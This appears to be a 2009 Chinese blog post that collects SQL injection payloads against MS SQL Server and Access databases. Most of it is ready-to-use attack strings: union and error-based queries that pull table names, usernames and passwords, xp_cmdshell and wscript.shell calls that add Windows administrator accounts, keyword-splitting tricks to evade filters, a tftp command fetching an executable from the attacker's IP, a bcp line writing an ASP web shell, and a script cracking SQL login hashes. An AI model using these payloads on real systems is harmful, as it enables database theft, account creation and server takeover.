分类: 网络与安全
2009-03-06 11:29:09
最重要的表名:
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
当然还有很多啦哦 这就看你自己在实际操作中的应用啦!:)
最重要的一些用户名(默认sql数据库中存在着的)
public
dbo
guest(一般禁止,或者没权限)
db_sercurityadmin
ab_dlladmin
一些默认扩展
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驱动器相关
xp_dirtree 目录
xp_enumdsn ODBC连接
xp_loginconfig 服务器安全模式信息
xp_makecab 创建压缩卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 终端进程,给出一个PID
例如:
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
exec xp_webserver
sp_dropextendedproc 'xp_webserver'
bcp "select * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
' group by users.id having 1=1-
' group by users.id, users.username, users.password, users.privs having 1=1-
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable'-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id')-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id','login_name')-
union select TOP 1 login_name FROM logintable-
union select TOP 1 password FROM logintable where login_name='Rahul'--
构造语句:查询是否存在xp_cmdshell
' union select @@version,1,1,1--
and 1=(select @@VERSION)
and 'sa'=(select System_user)
' union select ret,1,1,1 from foo--
' union select min(username),1,1,1 from users where username > 'a'-
' union select min(username),1,1,1 from users where username > 'admin'-
' union select password,1,1,1 from users where username = 'admin'--
and user_name()='dbo'
and 0<>(select user_name()-
; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user swap 5245886 /add'
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell')
and 1=(select IS_SRVROLEMEMBER('sysadmin')) 判断sa权限是否
and 0<>(select top 1 paths from newtable)-- 暴库大法
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名(从1到5都是系统的id,6以上才可以判断)
创建一个虚拟目录E盘:
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"'
访问属性:(配合写入一个webshell)
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...)) 来暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。。。。。假设存在user_id username ,password 等字段
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union语句到处风靡啊,access也好用
暴库特殊技巧::%5c='\' 或者把/和\ 修改%5提交
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1
;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)
";--
得到了web路径d:\xxxx,接下来:
;use ku1;--
;create table cmd (str image);--
传统的存在xp_cmdshell的测试过程:
;exec master..xp_cmdshell 'dir'
;exec master.dbo.sp_addlogin hax;--
;exec master.dbo.sp_password null,hax,hax;--
;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
http:// DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user swap 5258 /add'
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net localgroup administrators swap/add'
'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat'
如果被限制则可以。
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')
传统查询构造:
select * FROM news where id=... AND topic=... AND .....
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。
'and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--
说明:
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID
ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--
象下面这样就可以得到第二个表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--
ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--
ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
扩展存储就可以通过一般的方法调用:
exec xp_webserver
一旦这个扩展存储执行过,可以这样删除它:
sp_dropextendedproc 'xp_webserver'
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-
insert into users values( 667,123,123,0xffff)-
insert into users values ( 123, 'admin''--', 'password', 0xffff)-
;and user>0
;;and (select count(*) from sysobjects)>0
;;and (select count(*) from mysysobjects)>0 //为access数据库
-----------------------------------------------------------通常注射的一些介绍:
A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件],即是生成语句:
select * from 表名 where 字段=49 And [查询条件]
( Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
select * from 表名 where 字段='连续剧'
注入的参数为Class=连续剧' and [查询条件] and ''=' ,即是生成语句:
select * from 表名 where 字段='连续剧' and [查询条件] and ''=''
© 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
select * from 表名 where 字段like '%关键字%'
注入的参数为keyword=' and [查询条件] and '%25'=', 即是生成语句:
select * from 表名 where字段like '%' and [查询条件] and '%'='%'
;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0
sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U' and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。
;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
从⑤拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
post.htm内容:主要是方便输入。
Here is the script:
(sqlcrack.sql)
create table tempdb..passwords( pwd varchar(255) )
bulk insert tempdb..passwords from 'c:\temp\passwords.txt'
select name, pwd from tempdb..passwords inner join sysxlogins on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1)
union select name, name from sysxlogins where (pwdcompare( name, sysxlogins.password, 0 ) = 1)
union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is null and syslogins.isntgroup=0 and syslogins.isntuser=0
drop table tempdb..passwords